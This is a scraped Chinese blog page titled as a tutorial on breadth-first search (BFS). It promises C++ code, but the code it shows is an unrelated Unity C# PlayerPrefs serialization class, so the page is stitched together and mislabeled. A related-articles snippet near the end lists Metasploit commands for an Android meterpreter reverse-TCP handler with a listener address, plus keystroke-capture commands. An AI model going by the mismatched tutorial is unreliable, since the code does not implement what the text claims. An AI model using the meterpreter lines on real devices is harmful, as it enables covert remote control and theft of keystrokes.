广度优先算法(BFS)

news/2024/6/29 11:50:31 标签: 算法, 宽度优先, 数据结构

广度优先算法(Breadth-First Search)是在图和树领域的搜索方法,其核心思想是从一个起始点开始,访问其所有的临近节点,然后再按照相同的方式访问这些临近节点的节点,这种访问方式类似涟漪泛起,一层一层的扩散。

广度优先算法解决的问题:

  1. 从A点出发,有没有一条路径可以到达B点
  2. 如果有的话,能不能找到最短的路径。
  3. 图/树的遍历

广度优先算法的实现(C++):

要遍历的图结构:

image

using System;
using System.Collections;
using System.Reflection;
using UnityEngine;
 
namespace Framwork
{
    /// <summary>
    /// Playerprefs 存储类
    /// </summary>
    public class PlayerPrefsManager
    {
        private static PlayerPrefsManager instance=new PlayerPrefsManager();
 
        public static PlayerPrefsManager Instance => instance;
 
        private PlayerPrefsManager()
        {
           
        }
 
        /// <summary>
        /// 存取数据的方法
        /// </summary>
        /// <param name="obj">数据实体</param>
        /// <param name="name">数据名称</param>
        public void SaveData(object data, string keyName)
        {
            Type type = data.GetType();
            FieldInfo[] infos = type.GetFields();
            string tempKey="null";
            FieldInfo tempInfo = null;
            for (int i = 0; i < infos.Length; i++)
            {
                //获取数据数据类型
                tempInfo = infos[i];
                Debug.Log("Types==="+tempInfo);
                //类的名字+类的类型 + 数据内容名字+数据类型
                //作为存储的keyName键
                tempKey = keyName + "_" + type.Name + "_" + tempInfo.Name
                            + "_" + tempInfo.FieldType.Name;
                SaveValue(tempInfo.GetValue(data),tempKey);
            }
            //进行值的获取
           //tempInfo.GetValue(data);
            PlayerPrefs.Save();
        }
        /// <summary>
        /// 读取数据的类型
        /// </summary>
        /// <param name="type">要读取的数据类型</param>
        /// <param name="name">要读取的数据名称</param>
        /// <returns>返回数据实体</returns>
        public object LoadData(Type type, string name)
        {
            //获取数据中的类型
            FieldInfo[] infos = type.GetFields();
            //创建存储数据信息的实体
            object data = Activator.CreateInstance(type);
            string tempName = null;
            FieldInfo tempInfo = null;
            for (int i = 0; i < infos.Length; i++)
            {
                tempInfo = infos[i];//数据结构中的数据名称
                tempName = name + "_" + type.Name + "_" +tempInfo.Name+"_"
                    +tempInfo.FieldType.Name;//数据结构中的数据名称类型
                //装载的容器  容器中的数据 
                //进行数据装载
                tempInfo.SetValue(data,LoadValue(tempInfo.FieldType,tempName));
            }
            return data;
        }
 
        /// <summary>
        /// 进行具体的类型数据的存储
        /// </summary>
        /// <param name="data"></param>
        /// <param name="keyName"></param>
        private void SaveValue(object value, string keyName)
        {
            Type fieldType = value.GetType();
            if (fieldType == typeof(int))
            {
                Debug.Log("存储int"+value);
                PlayerPrefs.SetInt(keyName,(int)value);
            }else if (fieldType == typeof(float))
            {
                Debug.Log("存储float"+value);
                PlayerPrefs.SetFloat(keyName,(float)value);
            }else if (fieldType == typeof(string))
            {
                Debug.Log("存储string"+value);
                PlayerPrefs.SetString(keyName,value.ToString());
            }
            //对于List存储的设置
            //根据存储的字段类型和IList是否是父子关系
            else if(typeof(IList).IsAssignableFrom(fieldType))
            {
                //父类装子类
                IList list=value as IList;
                //存储元素数量
                PlayerPrefs.SetInt(keyName,list.Count);
                Debug.Log("存储List长度为"+list.Count);
                int index = 0;
                foreach (var obj in list)
                {
                    //存储list列表中元素内容
                    //命名形式是 list名字+索引编号
                    //递归调用存储
                    SaveValue(obj,keyName+index);
                    index++;
                }
            }else if (typeof(IDictionary).IsAssignableFrom(fieldType))
            {
                IDictionary dictionary = value as IDictionary;
                //存储数据个数
                PlayerPrefs.SetInt(keyName,dictionary.Count);
                Debug.Log("存储Dic长度为"+dictionary.Count);
                int index = 0;
                foreach (var key in dictionary.Keys)
                {
                    //存储键
                    SaveValue(key,keyName+"_key_"+index);
                    //存储值 
                    SaveValue(dictionary[key],keyName+"_value_"+index);
                    index++;
                }
            }//自定义数据类型的存储 进行解析
            else 
            {
                SaveData(value,keyName);
            }
        }
 
        private object LoadValue(Type type, string name)
        {
            if (type == typeof(int))
            {
                return PlayerPrefs.GetInt(name,0);
            }else if (type == typeof(float))
            {
                return PlayerPrefs.GetFloat(name,0.0f);
            }else if (type == typeof(string))
            {
                return PlayerPrefs.GetString(name,"");
            }else if (typeof(IList).IsAssignableFrom(type))
            {
                //读取列表
                int count = PlayerPrefs.GetInt(name);
                IList tempList=Activator.CreateInstance(type) as IList;
                for (int i = 0; i < count; i++)
                {
                    //获取List中存储元素的类型 type.GetGenericArguments()[0]
                    tempList.Add(LoadValue(type.GetGenericArguments()[0],name+i));
                }
                return tempList;
            }else if (typeof(IDictionary).IsAssignableFrom(type))
            {
                //进行对字典的读取
                int count = PlayerPrefs.GetInt(name);
                IDictionary tempDictionary=Activator.CreateInstance(type) as IDictionary;
                for (int i = 0; i < count; i++)
                {
                    tempDictionary.Add(LoadValue(type.GetGenericArguments()[0], name + "_key_" + i),
                        LoadValue(type.GetGenericArguments()[1], name + "_value_" + i));
                }
                return tempDictionary;
            }
            else
            {
                //读取自定义类成员的设置
                return LoadData(type, name);
            }
        }
    }
}
 

 


http://www.niftyadmin.cn/n/5200057.html

相关文章

archery修改为不能自提自审核上线SQL

目录 背景修改代码效果参考 背景 我和同事都可以提交上线SQL&#xff0c;但是不能自己提交的SQL自己去审核通过。目前的情况是可以自提自审。 修改代码 找到/opt/archery/sql/utils/workflow_audit.py文件 ...省略...# 判断用户当前是否是可审核staticmethoddef can_revie…

接口测试需要验证数据库么?

有的接口会返回很多数据&#xff0c;有的接口可能就返回一个状态码及success之类的消息&#xff0c;这些需要验证数据库么&#xff1f;现在在写一个测试框架&#xff0c;配置接口参数和预期返回值&#xff0c;生成xml文件管理用例&#xff0c;用一个比较方法对预期和返回作比较…

米诺地尔行业分析:预计2029年将达到14亿美元

米诺地尔市场规模庞大&#xff0c;不仅包括消费品市场和服务行业&#xff0c;还涵盖了创新科技领域。随着经济的发展和市场需求的不断增长&#xff0c;米诺地尔市场的规模将继续扩大&#xff0c;各行各业都将面临更多机遇和挑战。 随着社会经济发展和城市化进程的推进&#xff…

大数据基础设施搭建 - Kafka(with ZooKeeper)

文章目录 一、简介二、单机部署2.1 上传压缩包2.2 解压压缩包2.3 修改配置文件&#xff08;1&#xff09;配置zookeeper地址&#xff08;2&#xff09;修改kafka运行日志(数据)存储路径 2.4 配置环境变量2.5 启动/关闭2.6 测试&#xff08;1&#xff09;查看当前服务器中的所有…

【C/PTA】函数专项练习(二)

本文结合PTA专项练习带领读者掌握函数&#xff0c;刷题为主注释为辅&#xff0c;在代码中理解思路&#xff0c;其它不做过多叙述。 目录 6-1 符号函数6-2 求排列数6-3 求一个大于10的n位整数w的后n-1位的数&#xff0c;并作为函数值返回。6-4 其右上三角&#xff08;含主对角线…

ITIL® 4 Foundation​,即将开课~想了解点击查看

ITIL 4 Foundation 即将开课~ 想报名的必须提前预约啦 &#x1f447;&#x1f447;&#x1f447; 2 0 23 年 培训地点&#xff1a; 远程直播&#xff1a;线上平台学习 开课时间&#xff1a; 周末班&#xff1a;11月25日、26日&#xff1b; 什么是ITIL&#xff1f; 信息技…

meterpreter命令

use exploit/multi/handler set payload android/meterpreter/reverse_tcp set LhOST 192.168.31.10 set LPOST 5555 run meterpreter命令&#xff1a; keyscan_start 开始捕获击键&#xff08;开始键盘记录&#xff09; keyscan_dump 转储按键缓冲&#xff08;下载键盘记录&…

vscode使用插件KoroFileHeader添加注释

一、简介 KoroFileHeader 是一款用于在 VSCode 中用于生成文件头部注释和函数注释的插件&#xff0c;支持所有主流语言&#xff0c;功能强大&#xff0c;灵活方便&#xff0c;文档齐全。 VSCode 安装 KoroFileHeader 好插件&#xff0c;就可以直接使用。 "fileheader.cu…